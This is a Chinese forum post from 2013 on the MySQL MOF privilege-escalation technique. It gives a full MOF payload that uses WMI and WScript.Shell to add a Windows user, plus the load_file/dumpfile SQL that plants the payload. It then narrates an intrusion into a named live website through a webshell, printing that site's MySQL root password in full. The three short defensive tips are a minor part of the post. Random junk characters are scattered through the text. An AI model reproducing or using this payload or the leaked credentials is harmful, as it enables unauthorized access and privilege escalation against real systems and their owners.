找回密码
 立即注册
查看: 2937|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
3 x* A$ s' m, U! }) d, e. r! ~( B8 _: e( ?0 E/ E' p
网上公开的一些利用代码:; d) f% U) l% w  P3 d" m6 y9 {; `

; G2 n- O* f5 u' t+ J  [8 b/ o% y0 d#pragma namespace(“\\\\.\\root\\subscription”): F/ N" u6 v2 h. G

0 p4 y2 d5 Y; R9 x0 Z' D' ainstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
* x. b' v# T: s- [2 }
% A& ^5 |  K% v) z  s  @9 X 8 m6 Z9 M6 H7 t" p9 M

2 s+ H9 ]! O- O; E1 Z- s. p $ h8 }* V9 R! J+ ]
: G& Q  p7 v5 Q7 B/ j0 V$ V' U
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;2 S. j& T% l2 z0 A
从上面代码来看得出解决办法:; d1 e: J& Y! @- }3 O  j1 n; J0 O
8 _7 P  c- K, `& B3 e
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
) w( l: n. b- y; v) n+ n9 ]/ \0 U) j/ [' Q3 p2 F9 M3 `3 v
2、禁止使用”WScript.Shel”组件& J. W# x4 |! L4 y: i5 a* g: G

+ M: p% C; ~0 D9 H3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER5 ^3 \5 ~7 m. ]' H& d) \
% @( X, L) J5 S: [* [/ o! E
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下* Q" w9 G, x4 A9 x- x
8 K, J% Q( Q8 C' }" L% d6 I$ h7 C
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
; W% n! w" I6 @0 G4 \2 L% _& u
7 ^( ]$ ^) H$ ^* b# w' i: _但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
3 x& R9 ~. u# I; C) D' `
7 s: `4 k0 W( D' m# i看懂了后就开始练手吧
4 j$ ~- V6 }) J9 O
* C: X0 k! M7 \6 I' H8 _http://www.webbmw.com/config/config_ucenter.php 一句话 a7 ]; l9 y. I# ]6 X7 f" ?# y; h8 V
& w7 d' J' F" l( Z9 ^# k
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。  V* R) a5 q* t+ _. b( s

7 Z. Z+ Q' y' \& ^* Q于是直接用菜刀开搞
3 j1 E. i+ T, D: G' `5 _0 G  D& u' Y
4 c! S2 |* N* o+ l4 \上马先& ?0 P# c( I4 R  H& r! g- D
4 O7 Q$ e1 x: ]! @4 I
既然有了那些账号 之类的 于是我们就执行吧…….
3 I3 Q) M% ?! i! W$ h4 \! f% S( v! v1 U3 P$ y
小小的说下
  [+ I6 }" k6 m5 t/ X0 k! ^/ r: y7 M+ A0 W/ B
在这里第1次执行未成功        原因未知' D6 {6 d% K" s6 O  Z4 @

) P1 ^/ W0 T( K4 R4 _, s8 k0 F我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。8 X" _& D/ Y7 J8 `. c
5 F0 }6 I! Y0 C& q
#pragma namespace(“\\\\.\\root\\subscription”)
. ~* v8 R. N& \5 x7 O# [0 r+ L# y' X! U
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };, S& G3 X& M1 S, S# v4 h3 R% O

0 x- i  c, F( K9 Q' u5 N% C我是将文件放到C:\WINDOWS\temp\1.mof/ P7 ?$ E- G5 B/ K! U; ~

, h- c& [# v1 L9 T+ e2 u所以我们就改下执行的代码0 ]* L/ [1 W. B0 E7 x5 [
; q, g# }% ]) I0 L
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
8 F* ?. y- u2 E; ]9 [2 C8 d5 W& F& j% U) ?" h$ F9 Z6 M

, w+ y* D: E* e  q" j) V# u8 i
! f0 d  [/ C; I, S但是 你会发现账号还是没有躺在那里。。6 A8 _) x' P8 Q( G. ]8 [
. Q, @! E1 [) U- y( O$ ~9 _
于是我就感觉蛋疼
/ p. l8 h4 D/ s7 l( f' w- h
' p' A- m/ C# s4 E; m- r; {就去一个一个去执行 但是执行到第2个 mysql时就成功了………; E1 i' [! B4 z1 w( v: X

% I9 y* b4 p/ k$ v$ k% e2 I0 {3 x' s+ }: O( U0 k/ d, J% D. @
8 I- }% ?; X$ k, c8 @6 v+ U
但是其他库均不成功…
- E; n, v/ Z) b4 R7 D( q5 I& |2 W  w2 q  @7 Y5 n0 i& K, ?
我就很费解呀 到底为什么不成功求大牛解答…
0 l- W$ l- a8 d' S9 u+ R
# o0 |& _2 e0 ?, l, t- R9 l3 a* B4 ^2 z0 Q
& ^+ f5 F1 y" ]1 |( L1 L0 }# ^! W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表